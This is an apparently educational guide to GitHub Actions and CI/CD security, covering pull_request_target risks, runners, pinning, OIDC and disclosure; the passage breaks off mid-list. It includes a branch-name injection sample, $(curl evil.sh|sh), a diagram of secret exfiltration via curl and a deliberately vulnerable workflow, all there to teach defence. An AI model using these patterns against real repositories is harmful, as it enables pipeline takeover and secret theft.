CI/CD & GitHub Security
GitHub Actions Attack Surface
Foundations: base repo, fork, head, checkout
Last verified2026-10
What is this?Start with a story. You find a bug in a popular open-source project, acme/app, on GitHub. You are not a maintainer, so GitHub will not let you push to it.
- You click Fork. GitHub makes your own copy of the whole project at
mallory/app. That copy is yours, and you can push anything to it. - You fix the bug in your copy.
- You open a pull request (PR): a message to the maintainers saying "please take the changes from my copy into your project."
In that story, acme/app is the base repo: the original project, the one being asked to accept the change. It belongs to the maintainers. It holds the project's secrets (publishing tokens, cloud keys), and its CI workflows run when a PR arrives. mallory/app is the fork (GitHub's PR screen also calls it the head repo): the copy the change comes from, controlled by whoever opened the PR, so anything in it is untrusted.
Memory hookbase = "the project being asked", fork = "the stranger's copy". The PR arrow always points from the fork into the base repo. Secrets live only in the base repo.
Checkout answers a different question: which files are on the build machine? When a CI job starts, GitHub gives it a brand-new, empty virtual machine (the runner). There is no code on it. The checkout step (actions/checkout) downloads the repository's files into a folder on that machine, at one specific version. It is the same as typing git clone and then git checkout <version> yourself. Every later step (npm install, make, the test suite) runs on whatever files the checkout put there.
In practiceWhat the checkout step does on the runner, shown as plain git commands:
$ ls /home/runner/work/app/app
(empty) ← fresh machine, no code yet
$ git clone https://github.com/acme/app . ← download from the BASE repo
$ git checkout main ← default for pull_request_target: maintainers' reviewed code
# or, if the workflow says ref: ${{ github.event.pull_request.head.sha }}
$ git checkout 9f3c1e7 ← the PR's commit: code the stranger wrote
$ npm install ← runs scripts from whichever files are now in the folderSo the security question is never "did the job check out code?" (almost every job does). It is "did it download the maintainers' version or the stranger's version, and does this job also hold the secrets?"
Memory hookcheckout = "what's on the kitchen counter". CI cooks whatever is on the counter. The base repo is the official cookbook, the fork is a stranger's photocopy with scribbles, and a PR is the stranger mailing in suggested edits. Danger is putting the stranger's photocopy on the counter in a kitchen that holds your bank card.
The remaining terms, used in the rest of this page: the base branch is the branch the PR targets in the base repo (usually main); the head branch is the branch in the fork the changes come from; the head SHA is the ID of the newest commit on the head branch.
Five questions that usually block understanding
1. What is a "ref"?Short for reference: a name that points at one commit. A branch is a ref (refs/heads/main means "the newest commit on main"), a tag is a ref (refs/tags/v2.1.0), and GitHub creates refs for every pull request (refs/pull/42/head means "the newest commit of PR #42"). A raw commit ID (a SHA such as 9f3c1e7) can be used in the same place. So when a workflow says
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # "download the PR author's newest commit"it is choosing which version of the code lands on the runner. Leave ref out and pull_request_target checks out the base repo's default branch: the maintainers' own, reviewed code.
2. Does the runner get all the secrets? Not literally every secret in the organisation, but more than people expect. In a pull_request_target job, the runner holds:
┌──────────────── Runner VM for one pull_request_target job ────────────────┐ │ GITHUB_TOKEN always present; can WRITE if the repo's default │ │ token permissions or the workflow's permissions: │ │ block allow it (push code, edit releases, comment) │ │ secrets.* every repository/organisation secret that ANY step │ │ in this job references (env:, with:, run:) │ │ cloud access if the job may request an OIDC token (id-token: │ │ write), it can become your AWS/GCP/Azure role │ │ .git/config actions/checkout leaves the token here by default │ │ caches write access to the Actions cache other jobs read │ │ ───────────────────────────────────────────────────────────────────────── │ │ + the PR author's code, IF the workflow checked out the head ref and runs │ │ it (npm install, make, tests) │ └───────────────────────────────────────────────────────────────────────────┘
Any code running in the job can read all of it. Secrets are injected into the runner's memory for the whole job, so "the step that runs the tests doesn't use the secret" doesn't help: a malicious test script can read the memory of the runner process, or its environment, and find them. Secrets in a protected environment are the exception. They are released only to jobs that name that environment, and only after a required reviewer approves.
By contrast, a fork PR under plain pull_request gets no repository secrets and a read-only GITHUB_TOKEN, whatever code it runs.
3. If pull_request_target checks out main, is that safe? And how can it test the PR if it never sees the PR's code? It is safe, and it can't test the PR. That is the design, not a bug. pull_request_target is not a testing trigger. It exists for jobs that act on a pull request without running its code:
Add docs or needs-review based on the list of changed files (read from the GitHub API, not by running anything).
"Thanks for your first contribution", or a reminder to sign the CLA.
Is the title in the right format? Is the linked issue present? Did the author tick the checklist?
Request reviewers, assign it to a project board, close stale PRs.
All of these need a write token (to label or comment), which a fork PR's pull_request run doesn't get. None of them need the PR's code. So the job checks out main (or nothing at all), reads the PR's metadata, and writes back to the PR. Two catches remain even here:
The title, description and branch name are written by the PR author. Pasting ${{ github.event.pull_request.title }} straight into a run: line lets them inject shell commands. That's exactly how Ultralytics (2024) was compromised.
A trusted script from main that downloads the PR's files and then executes them, or npm installs the PR's package.json (or pip installs its requirements.txt), is the same mistake by another route. Installing a dependency runs code: see when Python package code runs.
Testing the PR's code is pull_request's job. It checks out the PR, builds it and runs the tests, with no secrets and a read-only token. That's why ordinary fork CI is safe: the stranger's code runs in an empty room.
4. So why would anyone check out the PR's code inside a pull_request_target job? Because some checks need both the PR's code and privileges. Usually it's tests or other steps that need special resources:
The full suite calls a real API, a paid service or a cloud test account, so it needs credentials.
Build the PR and deploy it to a preview URL so reviewers can click through it. Deploying needs a token.
Coverage, benchmark or test results posted on the PR. Commenting needs a write token.
Under pull_request these fail for forks. Teams switch to pull_request_target, see that it tests main instead of the PR, and "fix" it with ref: head.sha. Each step looks reasonable; together they run a stranger's code in the room with the keys.
5. What if the important secrets live only in a protected prod environment, which this job doesn't use? Are we fine? The prod secrets are fine. Environment secrets are only handed to jobs that declare environment: prod, only after a required reviewer approves, and you can restrict the environment to the main branch. But the PR's code still gets everything else in the job, and some of it leads back to production:
If the repo or workflow grants write permissions, the attacker can push new branches and tags, edit releases and their downloads, or comment as the bot. Fix: permissions: contents: read (or {}).
A pull_request_target run counts as running on the default branch, so cache entries it saves are later restored by your release and deploy workflows on main, which DO use prod. The attacker plants a poisoned cache entry (e.g. a tampered node_modules), and it runs inside your next deploy. Fix: never save caches from these jobs.
With id-token: write, the job can ask GitHub for an identity token. If your AWS/GCP trust policy only checks the repository name (not the environment or branch), that token becomes a cloud role.
On a reused machine, the attacker can leave something behind that runs in the next job on that machine, which may be a deploy. GitHub-hosted runners are thrown away after each job.
Repository or organisation secrets used anywhere in the job (outside environments) are in the runner's memory.
Strip all of those (read-only token, no OIDC, no cache writes, GitHub-hosted runner, no secrets) and the job has no privileges left. That's exactly what pull_request gives you automatically. So the honest answer: if the job runs PR code, use pull_request, and add privileges only in a separate step that doesn't run PR code.
Putting it together: which trigger for which job?
| What the job does | Runs the PR's code? | Needs privileges? | Use |
|---|---|---|---|
| Lint, build, unit tests | Yes | No | pull_request |
| Label, comment, triage, check title | No | Yes (write token) | pull_request_target, without checking out or running PR files |
| Post test or coverage results on the PR | Yes, then No | Yes, for the comment only | Two workflows (below) |
| Integration tests with real credentials, preview deploys | Yes | Yes | Only after a maintainer approves (an environment with required reviewers, or a safe-to-test label checked on every new push), or after merge |
The two-workflow pattern for "post results on the PR", in plain words:
-
Workflow 1: pull_requestnetworkruns the stranger's code, holds nothing
- Checks out the PR, runs the tests
- Saves the result as a file (e.g. coverage.json) with "upload artifact"
-
Workflow 2: workflow_rundefendstarts automatically when workflow 1 finishes
- Runs the base repo's own code from main, with a write token
- Downloads coverage.json and reads it as DATA (a number, some text)
- Posts the comment. It never runs or installs anything from the PR
workflow_run is simply a trigger meaning "start this workflow when that other workflow finishes". Its safety depends on treating the downloaded file as data: if workflow 2 executed anything from that artifact, you'd be back to running the stranger's code with the keys.
📰Real incident — tj-actions/changed-files (CVE-2025-30066, 2025). Attackers compromised a popular GitHub Action used by about 23,000 repositories and changed it to read the runner process's memory and print every secret it found into the job log. Repositories with public logs leaked their secrets to anyone. It shows the point above: once code runs in a job, every secret that job was given is within reach, not only the ones the step itself uses.
Why it mattersEvery GitHub Actions security question about pull requests comes down to two separate choices: whose permissions the job runs with (the base repo's, with secrets, or the fork's, without them) and whose code the job checks out and runs. Safe workflows keep "trusted permissions" and "untrusted code" apart. The pull_request_target disaster is the one combination that puts them together.
How it worksTake a real-looking example: the project acme/app and an outside contributor mallory.
BASE REPO acme/app HEAD REPO mallory/app (a fork)
───────────────────── ─────────────────────────────────
owner: acme maintainers mallory (anyone can fork)
branch: main ← base branch (PR target) fix-typo ← head branch (PR source)
secrets: NPM_TOKEN, AWS_ROLE ... none of acme's secrets
trust: reviewed, protected UNTRUSTED: mallory pushes anything
1. mallory clicks "Fork" ───────────────▶ copy of acme/app created
2. mallory pushes commits ───────────────▶ fix-typo (may contain anything)
3. mallory opens PR #42 ◀─────────────── "please merge fix-typo into main"
4. GitHub stores PR refs in the BASE repo:
refs/pull/42/head = mallory's latest commit (pure attacker code)
refs/pull/42/merge = test merge of main + mallory's commit
5. Workflows in acme/app fire on the PR eventThe checkout step is what decides which of those versions lands on the runner:
The repository the PR wants to merge into (acme/app). Owns the secrets, the write token and the workflow files.
The branch the PR targets, usually main. Code here has already been reviewed.
A server-side copy of the repo under another account. Its owner has full write access to it and none to the base repo.
Where the PR's new commits live. For an outside contributor, this is their fork, and it is untrusted.
The ID of the newest commit on the head branch: github.event.pull_request.head.sha. Checking it out means running exactly what the PR author wrote.
actions/checkout clones the repo onto the runner at one ref (branch, tag or SHA). Every later run: step operates on those files.
The virtual machine that executes the job. Whatever secrets the job has are present on it as environment variables or files.
A short-lived token GitHub creates for each job. Its permissions (read-only or write) depend on the trigger and the permissions: block.
The two pull-request triggers differ on both choices:
-
pull_request — fork PRnetworksafe default
- Workflow file: taken from the PR's merge commit, so the PR can change it
- Code checked out by default: refs/pull/42/merge (includes mallory's code)
- Secrets: NOT passed to fork PRs; GITHUB_TOKEN is read-only
- Result: untrusted code runs, but on a runner with nothing worth stealing
-
pull_request_target — fork PRattackprivileged
- Workflow file: taken from the base repo's default branch, so the PR cannot change it
- Code checked out by default: the base branch (trusted), NOT the PR
- Secrets: ALL repo secrets available; GITHUB_TOKEN can write
- Result: safe only while the job never checks out or runs PR code
-
The fatal editattackgame over
- Developer adds
ref: ${{ github.event.pull_request.head.sha }}to checkout - Then runs
npm install,make,./build.shor tests on those files - mallory's code now runs on a runner holding acme's secrets and write token
- Developer adds
Why the "fatal edit" is so tempting: a maintainer wants a bot to comment test results or coverage on fork PRs. Commenting needs a write token, which pull_request doesn't give forks, so they switch to pull_request_target, and then notice the tests run against main instead of the PR, so they "fix" it by checking out the head SHA.
sequenceDiagram participant M as mallory (fork) participant B as acme/app (base) participant R as Runner M->>B: Open PR #42 from mallory:fix-typo B->>R: pull_request_target fires<br/>secrets + write token loaded R->>B: checkout ref = head.sha B-->>R: mallory's files (incl. package.json) R->>R: npm install runs mallory's<br/>preinstall script R-->>M: secrets exfiltrated via curl
In practiceWhat the context variables actually contain for PR #42 in a pull_request_target job:
github.event_name pull_request_target
github.repository acme/app ← base repo: where the job runs
github.ref refs/heads/main ← default checkout: trusted base branch
github.event.pull_request.base.repo acme/app
github.event.pull_request.head.repo mallory/app ← fork: untrusted
github.event.pull_request.head.ref fix-typo ← attacker-chosen string (even the NAME)
github.event.pull_request.head.sha 9f3c1e7... ← attacker's commit; never build this hereThe branch name is attacker input too. Ultralytics (2024) was compromised not by checking out code but by pasting head.ref into a shell command; a branch named $(curl evil.sh|sh) is a valid branch name.
Security angleThe safe patterns all keep the two halves apart:
build and test fork PRs with pull_request. If you need to post results, upload them as an artifact and let a separate workflow_run job (which has write access) read the artifact as data and post the comment, without executing anything from it.
pull_request_target jobs may label, comment or triage, using metadata, never checking out or running PR files.
titles, bodies, branch names and commit messages go through an environment variable (env: TITLE: ${{ github.event.pull_request.title }} then "$TITLE"), never straight into run:.
actions/checkout writes the job's token into .git/config by default; set persist-credentials: false so later steps (and any code they run) can't read it.
🎯On the job. In a workflow review, grep for
pull_request_targetandworkflow_runfirst, then look in those jobs for any of:ref:pointing athead.sha/head.ref, a checkout ofgithub.event.pull_request.head.repo.full_name, or${{ github.event.pull_request.* }}inside arun:block. Any hit is a likely critical. Static scanners such as zizmor and CodeQL's Actions queries flag these patterns, but they can't tell you whether the checked-out code is ever executed, so read the steps that follow the checkout.
ImportantSince December 2025, GitHub always takes the
pull_request_targetworkflow file from the repo's default branch, not from whichever base branch the PR targets. Before that, an old, vulnerable copy of the workflow on a forgotten branch could still be triggered by opening a PR against that branch.
Memory hook"Whose keys, whose code?" Ask both questions about every CI job. Base repo's keys + base repo's code = fine. Fork's code + no keys = fine. Base repo's keys + fork's code = compromise.
Poisoned Pipeline Execution (PPE)
An attacker with write access to a PR-triggering branch can modify workflow YAML or scripts that the pipeline executes.
Direct PPE — attacker modifies the workflow file itself:
# Vulnerable: runs on pull_request_target with checkout of PR head
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # ← attacker controls this
- run: ./build.sh # ← runs attacker codeIndirect PPE — attacker modifies a script/Makefile that the workflow calls, without touching the workflow YAML.
pull_request (SAFE for forks) pull_request_target (DANGEROUS for forks)
───────────────────────────── ──────────────────────────────────────────
Runs in the FORK's context Runs in the BASE repo's context
• NO access to secrets • FULL access to secrets
• read-only GITHUB_TOKEN • write GITHUB_TOKEN
• checks out attacker code ✔ fine • checks out BASE branch by default
(it has nothing to steal) ...but devs often add:
with: ref: ${{ pull_request.head.sha }}
→ checks out ATTACKER code
→ runs it WITH secrets ✗ game overMemory hook
pull_request_targetis "run the stranger's code with the house keys." GitHub createdpull_request_targetso fork PRs could do things needing secrets (label, comment) — but it runs with the base repo's secrets and write token. The fatal pattern is then explicitly checking out the PR's head SHA (attacker code) and building/testing it — now untrusted code executes with full secrets. Mnemonic:pull_request= sandbox the stranger (no secrets);pull_request_target= trust the repo, NOT the PR's code. If you must use it, never check out and run fork code in that context, and gate on first-time-contributor approval.
Mitigation
- Never check out untrusted code and then execute it in a privileged context
- Use
pull_request(notpull_request_target) for untrusted forks - Pin actions to full commit SHA:
uses: actions/checkout@<sha>
Secret Leakage
Environment variables in logs
- run: echo "Token is ${{ secrets.MY_TOKEN }}" # ← masked but risky pattern- GitHub masks registered secrets in logs, but base64-encoding or splitting leaks them
workflow_run privilege escalation
on:
workflow_run:
workflows: ["CI"]
types: [completed]workflow_runruns in the context of the base branch (has secrets), but can access artifacts from the untrusted PR — classic confused deputy
Mitigation
- Audit who can approve workflow runs from forks
- Use short-lived OIDC tokens instead of long-lived secrets
- Scope secrets to environments with required reviewers
OIDC — Replacing Long-Lived Credentials
GitHub Actions can request a short-lived OIDC token, which cloud providers (AWS, GCP, Azure) trust directly:
permissions:
id-token: write
contents: read
- name: Configure AWS credentials
uses: aws-actions/configure-aws-credentials@v2
with:
role-to-assume: arn:aws:iam::123456789:role/github-actions-role
aws-region: us-east-1GCP equivalent
- uses: google-github-actions/auth@v1
with:
workload_identity_provider: projects/123/locations/global/workloadIdentityPools/pool/providers/github
service_account: sa@project.iam.gserviceaccount.comWhy this mattersno stored credentials → no credential theft from secrets store; token is bound to repo + branch + job.
OLD WAY (stored secret) OIDC WAY (short-lived, no stored secret)
─────────────────────── ────────────────────────────────────────
Long-lived AWS key in GH Secrets GH mints a signed OIDC token per job
│ (sits there forever, leakable) │ (expires in minutes, scoped to repo+branch)
▼ ▼
Workflow uses it Cloud verifies the token's claims against a
│ trust policy (this repo, this branch only)
▼ │
Leak = attacker has the key ▼
until someone rotates it Cloud returns SHORT-LIVED creds → nothing to stealMemory hookOIDC turns "a secret you store" into "an identity you prove." Instead of stashing a long-lived cloud key in GitHub Secrets (which can leak and lives forever), the runner asks GitHub to mint a signed, short-lived OIDC token describing who's asking — this repo, this branch, this workflow. The cloud's trust policy checks those claims and hands back temporary credentials. There's no standing secret to steal, and you can scope the trust so only
mainof one repo can assume a prod role. Mnemonic: OIDC = prove who you are, don't carry a key. It's the CI/CD twin of "roles over users" — the single biggest CI credential-hygiene upgrade.
Deep diveWorkload identity federation and OIDC token exchange — verifier pipeline, JWKS rotation, sub wildcard traps, AWS vs GCP conditions.
Runner Security
Last verified2026-10
What is this?A runner is the machine that executes a job. It is a computer running GitHub's small "runner" program, which connects to GitHub, receives a job, runs its steps one after another, streams the log back, and reports the result. The security question is what that machine shares with other jobs before and after yours.
How a runner is spawnedIt depends on who owns the machine:
-
GitHub-hosted runnerservera fresh VM per job
- GitHub boots a new virtual machine from a standard image (Ubuntu, Windows or macOS)
- The runner program on it picks up exactly one job
- Your steps run as a user with passwordless sudo/admin, with open outbound internet
- When the job ends, the VM is deleted. The next job, even in the same workflow, gets a different VM
-
Self-hosted runner (default setup)attackyour machine, reused
- You install the runner program on your own server, VM or Kubernetes cluster
- By default it is persistent: it runs job after job on the same machine, as the same OS user
- Whatever one job leaves behind is still there for the next one
-
Self-hosted, ephemeraldefendyour machine, used once
- Registered with --ephemeral (or as a just-in-time runner, or a pod from Actions Runner Controller)
- Takes one job, then unregisters and the VM or pod is destroyed
What is shared, and what isn'tIsolation is per job, not per step:
Same machine, same files, same user. A third-party action in step 5 can read everything steps 1–4 wrote, and can start a background process that keeps watching later steps until the job ends.
Separate machines on GitHub-hosted runners. They share only what you pass deliberately: artifacts, caches and job outputs.
Nothing on GitHub-hosted runners, except artifacts, caches and logs, which live on GitHub's side and are where most "remnants" leak.
Separated by the hypervisor. Escaping a GitHub-hosted VM to reach another tenant would need a virtualisation escape; no such attack has been made public, and it isn't where real incidents happen.
Where remnants actually leakThe machine is thrown away, but three things outlive it:
files a job uploads, kept for 90 days by default. On public repositories, anyone signed in to GitHub can download them. Uploading a whole checkout directory can include .git/config with the job's token in it.
public on public repositories. GitHub masks secret values it knows about, but only exact matches: a secret printed base64-encoded, reversed or split across lines appears in clear.
restored into later runs. A cache saved from the default branch is visible to every branch, which is the poisoning path described in question 5 above.
For the platform operator's side (isolating thousands of strangers' jobs, caches and remote builders), see Build platform security.
Self-hosted runners are where "escape and read other runs" is real. On a persistent runner, one malicious job can leave behind:
- files in the work directory and tool cache
- credentials (
~/.docker/config.json, cloud CLI profiles, SSH keys) - Docker images
- a background process that waits for the next job, or a modified copy of the runner program itself
The next job might be a deploy holding production secrets. The runner also sits inside your network, so it's a foothold for lateral movement. And a job container with the Docker socket mounted is effectively root on the host.
📰Real incident — PyTorch self-hosted runners (2024). Security researchers John Stawinski and Adnan Khan got a small typo fix accepted into PyTorch, which made them a "contributor". From then on, their pull requests from a fork ran on PyTorch's persistent self-hosted runners without needing approval. They left a persistent foothold on a runner, captured the tokens and secrets of later jobs, and showed a path to tampering with PyTorch releases. They reported it through a bug bounty. Lesson: a self-hosted runner that runs fork PRs is only as trusted as the least-trusted contributor.
🎯On the job. For self-hosted runners:
- Use ephemeral runners: one job per fresh VM or pod.
- Never attach self-hosted runners to public repositories; GitHub advises against it.
- Separate runner groups by trust level, so production deploy jobs never share machines with pull-request builds.
- Don't mount the Docker socket into jobs.
- Require approval for workflows from all outside contributors, not just first-time ones.
For hosted runners, review what workflows upload as artifacts, never print secrets even transformed, and keep caches out of untrusted jobs.
The risk table
| Risk | Description | Mitigation |
|---|---|---|
| Shared self-hosted runners | Leftover state between jobs (env vars, files, git creds) | Use ephemeral runners (new VM per job) |
| Unpinned actions | uses: some-org/action@v1 resolves to latest tag → supply chain risk | Pin to commit SHA |
GITHUB_TOKEN scope | Default token has broad repo permissions | Set permissions: at job level; minimise |
| Cache poisoning | Cached dependencies restored into build; attacker poisons cache entry | Hash lock files; don't cache sensitive artifacts |
| Artifact injection | Artifact uploaded by untrusted job consumed by trusted job | Validate artifact provenance (SLSA) |
🎯On the job. Check the organisation default for the
GITHUB_TOKEN: under Settings → Actions, "Workflow permissions" should be read repository contents, not read-and-write, and each workflow should declare apermissions:block granting only what it needs. A workflow without that block inherits the default, so on older organisations every job may still get a token that can push code and create releases.
Pinning Actions: Tags, SHAs and Their Limits
Last verified2026-10
What is this?A line like uses: actions/checkout@v4 downloads someone else's code and runs it inside your job, with your token and secrets in reach. The part after @ says which version. There are three ways to write it, and they differ in who can change what you run:
Whatever is on that branch when the job starts. Changes with every push by the action's maintainers.
Looks fixed, but a tag is just a movable pointer. Anyone with write access to the action's repository (or an attacker who steals that access) can point it at a different commit, and every workflow using the tag runs the new code on its next run.
Names one exact commit by its content hash. It can't be changed to mean different code later. This is what "pinning" means.
Why it mattersThird-party actions are dependencies with direct access to your pipeline's secrets. A popular action is a single point of compromise for thousands of repositories. Tags make that compromise spread on its own: move the tag, and every user picks up the malicious version without changing a line.
How it worksA pinned reference, as Dependabot or Renovate write it:
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 ← the SHA decides; the comment is only for humans
- uses: some-org/lint-action@v3 # ← tag: whatever v3 points to todayWhy a SHA pin isn't bulletproof
-
Impostor commits from forksattackthe SHA you pinned may not be from that repo
- GitHub stores a repository and all its forks together, so a commit that exists only in someone's fork can be fetched through the original repo's path
uses: actions/checkout@<sha>succeeds even if that SHA lives only in an attacker's fork of actions/checkout- A pull request that "updates the pin" to a fork-only SHA looks exactly like a routine bump, especially with a reassuring
# v4.2.3comment
-
Pinned code that fetches unpinned codeattackthe pin covers only the first layer
- A composite action can call other actions by tag
- A Docker-based action can pull
image:latestor build from a Dockerfile with unpinned base images - Any action can download and run a script from the internet at runtime
-
Pinning a bad commitattacka pin freezes whatever you pinned
- If the commit was already malicious when you pinned it, you have pinned the malware
- A pin also freezes bugs: without an update process, pinned actions miss security fixes
In practiceChecking that a pinned SHA really belongs to the upstream repository and matches the release it claims to be:
$ git clone --quiet https://github.com/actions/checkout && cd checkout
$ git tag --contains 11bd71901bbe5b1630ceea73d27597364c9af683
v4.2.2 ← reachable from an upstream tag, and it's the one the comment claims
$ git tag --contains 6f2c0e9a… ← a SHA from a "pin update" PR
error: malformed object name 6f2c0e9a… ← not in upstream at all: it came from a fork. Reject.Security angle: the controls that make pinning work.
keep a version comment so humans can read it. GitHub added an organisation policy in 2025 that can require SHA pinning.
Dependabot or Renovate, so you still receive security fixes. Review each bump like a dependency update: read the diff between the old and new commit.
Scanners such as zizmor flag impostor commits and unpinned references, and an allow-list of approved actions (organisation setting) limits who can be pulled in at all.
for high-risk actions: check what a composite or Docker action pulls in, or vendor the action into your own organisation.
Minimal permissions:, secrets only in the jobs and environments that need them, and no secrets in jobs that run third-party actions you haven't reviewed.
use GitHub's immutable releases (introduced in 2025) so your tags can't be moved after publishing.
📰Real incident — tj-actions/changed-files (March 2025, CVE-2025-30066). Attackers obtained a token that could push to the
tj-actions/changed-filesrepository, committed malicious code, and moved the action's existing version tags (v1up tov45) to point at it. Every workflow that used a tag ran the malicious version on its next run and printed its secrets into the build log. Repositories pinned to an older full SHA were unaffected. Investigators traced the stolen token to an earlier compromise of another action,reviewdog/action-setup, used in tj-actions' own CI. Lesson: tags are pointers anyone with write access can move; one compromised action can lead to the next.
🎯On the job. Grep workflows for
uses:lines not followed by a 40-character SHA; anything@main,@masteror@v*is a finding. In pull requests that change pins, confirm each new SHA is reachable from an upstream tag. In incident response after an action compromise, the question is "which runs used the affected tag or SHA during the window?", answered from workflow run logs, and every secret those jobs held must be rotated.
Supply Chain Security
Dependency Confusion
- Attacker publishes a public package with the same name as an internal private package
- Package manager resolves public package at higher version number
- Mitigation: pin private feeds, use namespace scoping, verify package hashes
Typosquatting
reqeustsinstead ofrequests- Mitigation:
pip-audit,npm audit, lock files + hash verification
SLSA (Supply-chain Levels for Software Artifacts)
Deep diveHermetic and reproducible builds for how to reach Build L3 when you are the build platform.
Level Requirement 1 Build process documented, provenance exists 2 Hosted build platform, signed provenance 3 Hardened build platform, non-falsifiable provenance 4 Two-party review, hermetic builds
Tools: Sigstore (cosign, fulcio, rekor) for signing container images and artifacts.
Sigstore Quick Reference
# Sign an image
cosign sign --key cosign.key ghcr.io/org/image:tag
# Verify
cosign verify --key cosign.pub ghcr.io/org/image:tag
# Keyless (OIDC-based)
cosign sign ghcr.io/org/image:tag # uses OIDC identity from CISecrets Management
How secrets end up in Git history, why deleting them doesn't help, and the right response order: Git security.
| Approach | Pros | Cons |
|---|---|---|
| GitHub Encrypted Secrets | Built-in, easy | Org-level blast radius; no rotation automation |
| Vault (HashiCorp) | Dynamic secrets, leases, audit log | Operational complexity |
| AWS Secrets Manager / GCP Secret Manager | Native cloud integration, rotation | Vendor lock-in |
| OIDC + cloud IAM | No stored secrets | Requires OIDC support at cloud provider |
Rotation — detect stale credentials with tools like truffleHog, gitleaks, detect-secrets.
📰Real incident — stolen Heroku and Travis CI OAuth tokens (2022). Attackers stole OAuth tokens that GitHub had issued to the Heroku and Travis CI integrations, and used them to list and download private repositories from dozens of organisations, including npm. The victims' own GitHub accounts were never breached — the trusted third-party integration was. Review which OAuth and GitHub Apps have access to your organisation, and what scopes they hold, as part of secrets management.
🎯On the job. GitHub masks a secret's exact value in logs, but not transformed versions of it. A step that prints the secret base64-encoded, URL-encoded, or split across lines leaks it in plain sight. When reviewing a workflow, treat any
echo,set -x, or debug flag in a step that has secrets in its environment as a leak.
Branch Protection & Access Control
Settings → Branches → Branch protection rules:
✔ Require pull request reviews before merging
✔ Require status checks to pass
✔ Require signed commits (GPG/SSH)
✔ Restrict who can push to matching branches
✔ Require linear historyauto-request review from specific teams per file path
add required reviewers before deploying; gate on branch name
SAST / DAST / SCA Integration
| Tool Category | Examples | Integration Point |
|---|---|---|
| SAST (Static) | CodeQL, Semgrep, Checkov | PR check, blocks merge on critical |
| SCA (Dependencies) | Dependabot, Snyk, OWASP Dependency-Check | PR + weekly scan |
| Secrets scanning | truffleHog, gitleaks, GitHub Secret Scanning | Pre-commit hook + PR check |
| Container scanning | Trivy, Grype, Docker Scout | Image build step |
| IaC scanning | Checkov, tfsec, terrascan | Terraform/Helm PR checks |
| DAST | OWASP ZAP, Burp CI | Post-deploy against staging |
| Fuzzing | libFuzzer, AFL++, go test -fuzz, ClusterFuzzLite | Short run per PR, long scheduled campaigns |
What these tools can and can't catch, how to keep them quiet enough that developers trust them, and how to handle AI-written code: Secure coding, fuzzing & AI-written code.
Hardened Workflow Template
name: Secure CI
on:
pull_request:
branches: [main]
permissions:
contents: read # minimise default GITHUB_TOKEN scope
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write # only if OIDC needed
steps:
- uses: actions/checkout@<commit-sha> # pinned
- name: Run SAST
uses: github/codeql-action/analyze@<sha>
- name: Scan dependencies
run: pip-audit -r requirements.txt
- name: Scan secrets
uses: trufflesecurity/trufflehog@<sha>
with:
path: ./
base: ${{ github.event.repository.default_branch }}Software Licenses
Understanding licenses matters when evaluating open-source dependencies or choosing a license for your own project.
| License | Type | Key Rules | Use When |
|---|---|---|---|
| MIT | Permissive | Keep copyright notice; no other restrictions | Widely used libraries; commercial-friendly |
| Apache 2.0 | Permissive | Keep notice; patent grant included; state changes | Libraries where patent protection matters; enterprise-safe |
| BSD 2/3-Clause | Permissive | Keep copyright; no endorsement clause | Similar to MIT; common in academia |
| GPL v2/v3 | Copyleft (strong) | Derivatives must also be GPL; distribute source with binary | Tools you want to remain open-source |
| LGPL | Copyleft (weak) | Linking to LGPL library doesn't force GPL on your code | Libraries where you want both open and commercial users |
| AGPL | Copyleft (network) | GPL + if used over a network, must share source | SaaS: forces anyone running a modified version to publish code |
| MPL 2.0 | Weak copyleft (file-level) | Modified files must stay MPL; can combine with proprietary | Balanced option between MIT and GPL |
| CC0 | Public domain | No restrictions at all | Data, documentation |
| Proprietary | Closed | All rights reserved; no redistribution without permission | Commercial software |
Security Implications of License Choice
shipping a product that combines GPL code obliges you to offer the source of that combined work under the GPL; AGPL extends this to software users reach over a network (SaaS). Non-compliance means infringing, and the usual outcome is "comply or stop distributing", not an automatic relicensing of your code. Run license scanners (e.g., FOSSA, licensee, license-checker) in CI to catch accidental GPL imports. What happens when a forbidden or changed licence sits deep in the tree: Deep in the tree.
permissive licenses don't validate the code is safe — a malicious maintainer can still push backdoored code. License permissiveness ≠ trustworthiness.
Apache 2.0 includes an explicit patent license grant and a termination clause — if you sue contributors for patent infringement, your Apache license terminates. MIT has no such protection.
default copyright law applies; "no license" means no permission to use, copy, or distribute.
use SPDX-License-Identifier: MIT at top of files; machine-readable and used by many compliance tools.
# Audit licenses in Python project
pip-licenses --with-system --format=markdown
# Audit npm project
npx license-checker --summary
# FOSSA CLI (comprehensive, used in CI)
fossa analyze
fossa test # fails build if unapproved licenses foundReleasing a Security Fix in a Public Repo
Last verified2026-10
What is this?Someone reports a critical bug in your open-source project, for example "a crafted request gives remote code execution". You need to fix it and get users onto the fixed version. The problem: in a public repo, everything you push is visible the moment you push it. A commit called "fix RCE in template parser", a pull request, an issue or a CI log tells attackers exactly where the hole is, while every user is still running the vulnerable version. Attackers do watch: comparing the code before and after a fix ("patch diffing") is a routine way to write an exploit.
Why it mattersThe goal is to make the gap between "attackers can learn about the bug" and "users can install the fix" as close to zero as possible. Interviewers ask this to see whether you understand coordinated disclosure: fix in private, release and announce in one move, and tell users exactly what to do.
How it worksThe usual flow on GitHub:
-
1. Receive the report privatelydefendday 0
- A
SECURITY.mdfile says where to report; GitHub "private vulnerability reporting" gives a private form - Never ask the reporter to open a public issue
- A
-
2. Open a draft security advisorydefendday 0–1
- Repository → Security → Advisories → New draft. Visible only to maintainers and invited people
- Add the reporter as a collaborator; agree severity and affected versions
- Request a CVE ID from the draft (GitHub can assign one)
-
3. Fix in a temporary private forkdefenddays
- Created from the draft advisory: a private copy of the repo for the fix
- Review the fix there. Its CI won't run, so run tests locally or in private CI
- Write a neutral commit message; prepare backports for each supported version
-
4. Pre-notify under embargo (optional)ca~1–2 weeks before
- Big downstream users and distributions get the patch early, under an agreed date
- Example: the linux-distros mailing list allows embargoes of at most 14 days
-
5. Release day: merge, tag, publish, announce togethertlshours, not days
- Merge the private fork into the public repo, tag, publish packages (all supported versions)
- Publish the advisory: CVE, affected and fixed versions, workaround
- The GitHub Advisory Database then triggers Dependabot alerts for everyone depending on you
-
6. Afterwardsnetworkdays–weeks
